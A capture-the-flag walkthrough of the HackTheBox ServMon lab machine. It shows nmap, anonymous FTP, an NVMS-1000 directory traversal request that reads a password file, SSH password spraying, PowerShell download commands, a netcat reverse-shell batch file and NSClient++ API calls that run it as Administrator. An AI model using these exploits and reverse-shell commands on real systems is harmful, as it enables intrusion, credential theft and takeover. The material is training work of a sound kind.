HackTheBox - ServMon | Walkthrough

As always, let's start with an nmap scan:
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.184 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); nmap -A -p$ports 10.10.10.184 -o nmap
We see quite a few ports open.
Let's check with the ftp first, as anonymous login is enabled.
ftp 10.10.10.184 #login as anonymous
ftp> ls
01-18-20 12:05PM <DIR> Users
ftp> ls Users
01-18-20 12:06PM <DIR> Nadine
01-18-20 12:08PM <DIR> Nathan
ftp> ls Users/Nadine
01-18-20 12:08PM 174 Confidential.txt
ftp> ls Users/Nathan
01-18-20 12:10PM 186 Notes to do.txt
ftp>
So, we have a few very interesting files here. Let's get them.
ftp> cd Users/Nadine/
ftp> get Confidential.txt
ftp> cd ../Nathan/
ftp> get Notes\ to\ do.txt
Now, let's check if we have write permissions here.
ftp> mkdir test
550 Access is denied.
ftp>
So, it seems like we don't have write permission here. Let's check the files that we downloaded.
root@kali:~/hackthebox/servmon# cat Confidential.txt
Nathan,
I left your Passwords.txt file on your Desktop. Please remove this once you have edited it yourself and place it back into the secure folder.
Regards
Nadine
So, there is a Passwords.txt file in Nathan's Desktop.
Now, let's check the other file:
root@kali:~/hackthebox/servmon# cat Notes\ to\ do.txt
1) Change the password for NVMS - Complete
2) Lock down the NSClient Access - Complete
3) Upload the passwords
4) Remove public access to NVMS
5) Place the secret files in SharePoint
Okay, let's check what else do we have here.
Let's try to curl the website.
root@kali:~/hackthebox/servmon# curl http://10.10.10.184/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title></title>
<script type="text/javascript">
window.location.href = "Pages/login.htm";
</script>
</head>
<body>
</body>
</html>
It seeems pretty simple, its using JS to redirect us, let's use Firefox to check it out.
Opening the website with Firefox, we see that we are taken to a login page, and the title of the page is, "NVMS-1000".
Interesting.
Let's look if we have a publicly available exploit for it!
searchsploit NVMS
So, we have one, Directory Traversal.
cp /usr/share/exploitdb/exploits/hardware/webapps/47774.txt .
root@kali:~/hackthebox/servmon# cat 47774.txt
# Title: NVMS-1000 - Directory Traversal
# Date: 2019-12-12
# Author: Numan Türle
# Vendor Homepage: http://en.tvt.net.cn/
# Version : N/A
# Software Link : http://en.tvt.net.cn/products/188.html
POC
---------
GET /../../../../../../../../../../../../windows/win.ini HTTP/1.1
Host: 12.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
Response
---------
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
Let's fire up burp and try the directory traversal.
Catch a request being sent to the server, and send it to repeater.
Now, sending this request:
GET /../../../../../../../../../../../../windows/win.ini HTTP/1.1
Host: 10.10.10.184
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
We get the following response:
HTTP/1.1 200 OK
Content-type:
Content-Length: 92
Connection: close
AuthInfo:
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
Nice, now let's try the Passwords.txt file in Nathan's Desktop.
GET /../../../../../../../../../../../../Users/Nathan/Desktop/Passwords.txt HTTP/1.1
Host: 10.10.10.184
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Content-type: text/plain
Content-Length: 156
Connection: close
AuthInfo:
1nsp3ctTh3Way2Mars!
Th3r34r3To0M4nyTrait0r5!
B3WithM30r4ga1n5tMe
L1k3B1gBut7s@W0rk
0nly7h3y0unGWi11F0l10w
IfH3s4b0Utg0t0H1sH0me
Gr4etN3w5w17hMySk1Pa5$
Now, let's save these passwords in a file.
User
vi pass.txt
And, then paste it in.
Now, let's make another file of the usernames that we know.
vi users.txt
Nadine
Nathan
Administrator
Now, let's try spray these credentials on SSH.
msfconsole
use auxiliary/scanner/ssh/ssh_login
options
set rhosts 10.10.10.184
set user_file users.txt
set pass_file pass.txt
run
Nice, we get a hit!
[+] 10.10.10.184:22 - Success: 'Nadine:L1k3B1gBut7s@W0rk'
Easy.
Now, let's exit Metasploit and login with ssh.
ssh Nadine@10.10.10.184
#Now enter the password L1k3B1gBut7s@W0rk
Look! We get a shell! Beautiful!
Microsoft Windows [Version 10.0.18363.752]
(c) 2019 Microsoft Corporation. All rights reserved.
nadine@SERVMON C:\Users\Nadine>
Nice, now you can go get the user.txt file.
I'll load up powershell as I prefer working in it than in a normal shell.
Administrator
nadine@SERVMON C:\Users\Nadine>powershell.exe -ExecutionPolicy bypass
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Try the new cross-platform PowerShell https://aka.ms/pscore6
PS C:\Users\Nadine>
PS C:\Users\Nadine> whoami /all
Okay, now let's try getting some information about the system.
PS C:\Users\Nadine> systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
ERROR: Access denied
PS C:\Users\Nadine>
Yikes, okay. That's disallowed, too.
Going back the notes of Nathan, we see that he talks about NSClient. Let's see what that is and if we have an exploit for it.
searchsploit nsclient
Nice, we do have an exploit! And guess what? It is for Privilege Escalation. Nice.
cp /usr/share/exploitdb/exploits/windows/local/46802.txt .
Now, in our victim machine:
cd "C:\Program Files\NSClient++"
type .\nsclient.ini
Here you should see:
; Undocumented key
password = ew2x6SsGTxjRwXOT
; Undocumented key
allowed hosts = 127.0.0.1
Nice, now we have the password.
Also, CheckExternalScripts
and Scheduler
already seem to be enabled.
Now, let's download netcat.
cd C:\Temp\
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.14.80:80/nc.exe','C:\Temp\nc.exe')"
Now, we need a bat file to use netcat to send us a reverse shell. For that, in your Kali machine make a new file:
vi evil.bat
@echo off
C:\Temp\nc.exe 10.10.14.78 4444 -e cmd.exe
Now, let's download this file.
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.14.80:80/evil.bat','C:\Temp\abhizer.bat')"
Now, because only 127.0.0.1
is an allowed host, we can forward the port.
But, before that, le'ts try curling it.
curl https://127.0.0.1:8443/
We get an error, its because curl is set as some kind of an alias in PowerShell. I don't like that, so let's remove it.
Remove-Item alias:curl
curl https://127.0.0.1:8443/
Now when we try to curl it, we get that the certificate is untrusted. Which is fine.
Let's forward that port. Quit the current ssh session and then:
ssh Nadine@10.10.10.184 -L 8443:127.0.0.1:8443
Now, from your local machine:
curl -s -k -u admin:ew2x6SsGTxjRwXOT -X PUT https://localhost:8443/api/v1/scripts/ext/scripts/abhizer.bat --data-binary @evil.bat
Added abhizer as scripts\abhizer.bat
Now, let's set up a ssh listener first:
nc -nvlp 4444
And, now call the script:
curl -s -k -u admin:ew2x6SsGTxjRwXOT "https://127.0.0.1:8443/api/v1/queries/abhizer/commands/execute?time=1s"
You should have a reverse shell as Administrator now!
Congratulations!